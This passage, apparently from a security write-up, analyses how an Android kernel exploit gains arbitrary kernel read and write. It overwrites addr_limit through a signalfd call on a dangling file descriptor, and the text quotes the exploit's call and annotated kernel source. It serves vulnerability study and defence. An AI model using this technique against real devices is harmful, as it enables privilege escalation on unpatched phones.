<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Like many previous Android exploits, to gain arbitrary kernel read and write, the exploit overwrites the kernel address limit (</span><span class="vdnyYxSRCi-c2">addr_limit</span><span>). The </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> defines the address range that the kernel may access when dereferencing userspace pointers. For userspace threads, the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> is usually </span><span class="vdnyYxSRCi-c2">USER_DS</span><span> or</span><span> </span><span class="vdnyYxSRCi-c2">0x7FFFFFFFFF</span><span>. For kernel threads, it’s usually </span><span class="vdnyYxSRCi-c2">KERNEL_DS</span><span> or </span><span class="vdnyYxSRCi-c2">0xFFFFFFFF</span><span class="vdnyYxSRCi-c2">FFFFFFFF</span><span class="vdnyYxSRCi-c7">. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Userspace operations only access addresses below the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span>. Therefore, by raising the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> by overwriting it, we will make kernel memory accessible to our unprivileged process. </span><span>The exploit uses the syscall </span><span class="vdnyYxSRCi-c2">signalfd</span><span class="vdnyYxSRCi-c7"> with the dangling fd to do this.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.b20c3d5f1283b74946e58ab9889119293a7eef9f"></a><a id="t.25"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">signalfd</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">dangling_fd</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0xFFFFFF8000000000</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">8</span><span class="vdnyYxSRCi-c0">);</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>According to the </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://man7.org/linux/man-pages/man2/signalfd.2.html">man pages</a></span><span>, the syscall </span><span class="vdnyYxSRCi-c2">signalfd</span><span class="vdnyYxSRCi-c7"> is:</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c39"><span class="vdnyYxSRCi-c35 vdnyYxSRCi-c11">signalfd() creates a file descriptor that can be used to accept signals targeted at the caller. This provides an alternative to the use of a signal handler or sigwaitinfo(2), and has the advantage that the file descriptor may be monitored by select(2), poll(2), and epoll(7).</span></p>
<p class="c1 c8 c14 c39"><span class="vdnyYxSRCi-c7"></span></p><a id="t.b0e9b96cf2ebdb989f730bf0fd87809d54a61b18"></a><a id="t.26"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c11">int</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c11"> signalfd</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c11">(</span><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c11">int</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c11"> fd</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c11">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c11"> </span><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c11">const</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c11"> sigset_t </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c11">*</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c11">mask</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c11">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c11"> </span><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c11">int</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c11"> flags</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c11">);</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The exploit called </span><span class="vdnyYxSRCi-c2">signalfd</span><span> on the file descriptor that was found to replace the freed one in the previous step. When </span><span class="vdnyYxSRCi-c2">signalfd</span><span> is called on an existing file descriptor, only the </span><span class="vdnyYxSRCi-c2">mask</span><span> is updated based on the mask passed as the argument, which gives the exploit an 8-byte write to the </span><span class="vdnyYxSRCi-c2">signmask</span><span> of the </span><span class="vdnyYxSRCi-c2">signalfd_ctx</span><span class="vdnyYxSRCi-c7"> struct.. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.650b5ef7704bd97d603a385d99bc69b0dafbdd0f"></a><a id="t.27"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">typedef</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">unsigned</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">long</span><span class="vdnyYxSRCi-c4"> sigset_t</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> signalfd_ctx </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> sigset_t sigmask</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">};</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The file struct includes a field called </span><span class="vdnyYxSRCi-c2">private_data</span><span> that is a </span><span class="vdnyYxSRCi-c2">void *</span><span>. File structs for </span><span class="vdnyYxSRCi-c2">signalfd</span><span> file descriptors store the pointer to the </span><span class="vdnyYxSRCi-c2">signalfd_ctx</span><span> struct in the </span><span class="vdnyYxSRCi-c2">private_data</span><span> field. As shown above, the </span><span class="vdnyYxSRCi-c2">signalfd_ctx</span><span class="vdnyYxSRCi-c7"> struct is simply an 8 byte structure that contains the mask.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">Let’s walk through how the signalfd source code updates the mask: </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.07266e9a1020f50ea1d3e9e61a15aa713d19b5aa"></a><a id="t.28"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">SYSCALL_DEFINE4</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">signalfd4</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> ufd</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> sigset_t __user </span><span class="vdnyYxSRCi-c0">*,</span><span class="vdnyYxSRCi-c4"> user_mask</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> size_t</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> sizemask</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> flags</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> sigset_t sigmask</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> signalfd_ctx </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">ctx</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">/* Check the SFD_* constants for consistency. */</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> BUILD_BUG_ON</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">SFD_CLOEXEC </span><span class="vdnyYxSRCi-c0">!=</span><span class="vdnyYxSRCi-c4"> O_CLOEXEC</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> BUILD_BUG_ON</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">SFD_NONBLOCK </span><span class="vdnyYxSRCi-c0">!=</span><span class="vdnyYxSRCi-c4"> O_NONBLOCK</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">flags </span><span class="vdnyYxSRCi-c0">&</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">~(</span><span class="vdnyYxSRCi-c4">SFD_CLOEXEC </span><span class="vdnyYxSRCi-c0">|</span><span class="vdnyYxSRCi-c4"> SFD_NONBLOCK</span><span class="vdnyYxSRCi-c0">))</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">EINVAL</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">sizemask </span><span class="vdnyYxSRCi-c0">!=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">sizeof</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">sigset_t</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">||</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> copy_from_user</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">sigmask</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> user_mask</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">sizeof</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">sigmask</span><span class="vdnyYxSRCi-c0">)))</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">EINVAL</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4">sigdelsetmask</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">sigmask</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> sigmask</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">SIGKILL</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">|</span><span class="vdnyYxSRCi-c4"> sigmask</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">SIGSTOP</span><span class="vdnyYxSRCi-c0">));</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">signotset</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">(&</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">sigmask</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">);</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c9">// [1]</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c9">if</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">(</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">ufd </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">==</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">-</span><span class="vdnyYxSRCi-c9 vdnyYxSRCi-c13">1</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">)</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">{</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c9">// [2]</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> ctx </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> kmalloc</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">sizeof</span><span class="vdnyYxSRCi-c0">(*</span><span class="vdnyYxSRCi-c4">ctx</span><span class="vdnyYxSRCi-c0">),</span><span class="vdnyYxSRCi-c4"> GFP_KERNEL</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(!</span><span class="vdnyYxSRCi-c4">ctx</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">ENOMEM</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> ctx</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">sigmask </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> sigmask</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">/*</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * When we call this, the initialization must be complete, since</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * anon_inode_getfd() will install the fd.</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> */</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> ufd </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> anon_inode_getfd</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"[signalfd]"</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">&</span><span class="vdnyYxSRCi-c4">signalfd_fops</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> ctx</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> O_RDWR </span><span class="vdnyYxSRCi-c0">|</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">flags </span><span class="vdnyYxSRCi-c0">&</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">O_CLOEXEC </span><span class="vdnyYxSRCi-c0">|</span><span class="vdnyYxSRCi-c4"> O_NONBLOCK</span><span class="vdnyYxSRCi-c0">)));</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">ufd </span><span class="vdnyYxSRCi-c0"><</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> kfree</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">ctx</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">}</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c9">else</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">{</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c9">// [3]</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> fd f </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> fdget</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">ufd</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(!</span><span class="vdnyYxSRCi-c4">f</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">file</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">EBADF</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">ctx </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">=</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> f</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">.</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">private_data</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">;</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c9">// [4]</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c9">if</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">(</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">f</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">.</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">file</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">f_op </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">!=</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">&</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">signalfd_fops</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">)</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">{</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c9">// [5]</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> fdput</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">f</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">EINVAL</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> spin_lock_irq</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">current</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">sighand</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">siglock</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">ctx</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">-></span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">sigmask </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">=</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> sigmask</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">;</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c20 vdnyYxSRCi-c9">// [6] WRITE!</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> spin_unlock_irq</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">current</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">sighand</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">siglock</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> wake_up</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">current</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">sighand</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">signalfd_wqh</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> fdput</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">f</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> ufd</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">}</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>First the function modifies the mask that was passed in. The </span><span class="vdnyYxSRCi-c2">mask</span><span> passed into the function is the signals that should be accepted via the file descriptor, but the </span><span class="vdnyYxSRCi-c2">sigmask</span><span> member of the </span><span class="vdnyYxSRCi-c2">signalfd</span><span> struct represents the signals that should be blocked. The </span><span class="vdnyYxSRCi-c2">sigdelsetmask</span><span> and </span><span class="vdnyYxSRCi-c2">signotset</span><span> calls at [1] makes this change. The call to </span><span class="vdnyYxSRCi-c2">sigdelsetmask</span><span> ensures that the </span><span class="vdnyYxSRCi-c2">SIG_KILL</span><span> and </span><span class="vdnyYxSRCi-c2">SIG_STOP</span><span> signals are always blocked so it clears bit 8 (</span><span class="vdnyYxSRCi-c2">SIG_KILL</span><span>) and bit 18 (</span><span class="vdnyYxSRCi-c2">SIG_STOP</span><span>) in order for them to be set in the next call. Then </span><span class="vdnyYxSRCi-c2">signotset</span><span> flips each bit in the mask. The mask that is written is </span><span class="vdnyYxSRCi-c2">~(mask_in_arg & 0xFFFFFFFFFFFBFEFF)</span><span>. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The function checks whether or not the file descriptor passed in is </span><span class="vdnyYxSRCi-c2">-1</span><span> at [2]. In this exploit’s case it’s not so we fall into the </span><span class="vdnyYxSRCi-c2">else</span><span> block at [3]. At [4] the </span><span class="vdnyYxSRCi-c2">signalfd_ctx*</span><span> is set to the </span><span class="vdnyYxSRCi-c2">private_data</span><span class="vdnyYxSRCi-c7"> pointer. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The signalfd manual page also says that the fd argument “</span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://man7.org/linux/man-pages/man2/signalfd.2.html#:~:text=If%20fd%20is%20not%20%2D1%2C%20then%20it%20must%20specify%20a%0A%20%20%20%20%20%20%20valid%20existing%20signalfd%20file%20descriptor">must specify a valid existing signalfd file descriptor</a></span><span>”. To verify this, at [5] the syscall checks if the underlying file’s </span><span class="vdnyYxSRCi-c2">f_op</span><span> equals the </span><span class="vdnyYxSRCi-c2">signalfd_ops</span><span>. This is why the </span><span class="vdnyYxSRCi-c2">f_op</span><span> was set to </span><span class="vdnyYxSRCi-c2">signalfd_ops</span><span> in the previous section. Finally at [6], the overwrite occurs. The user provided </span><span class="vdnyYxSRCi-c2">mask</span><span> is written to the address in </span><span class="vdnyYxSRCi-c2">private_data</span><span>. In the exploit’s case, the fake file struct’s </span><span class="vdnyYxSRCi-c2">private_data</span><span> was set to the </span><span class="vdnyYxSRCi-c2">addr_limit</span><span> pointer. So when the mask is written, we’re actually overwriting the </span><span 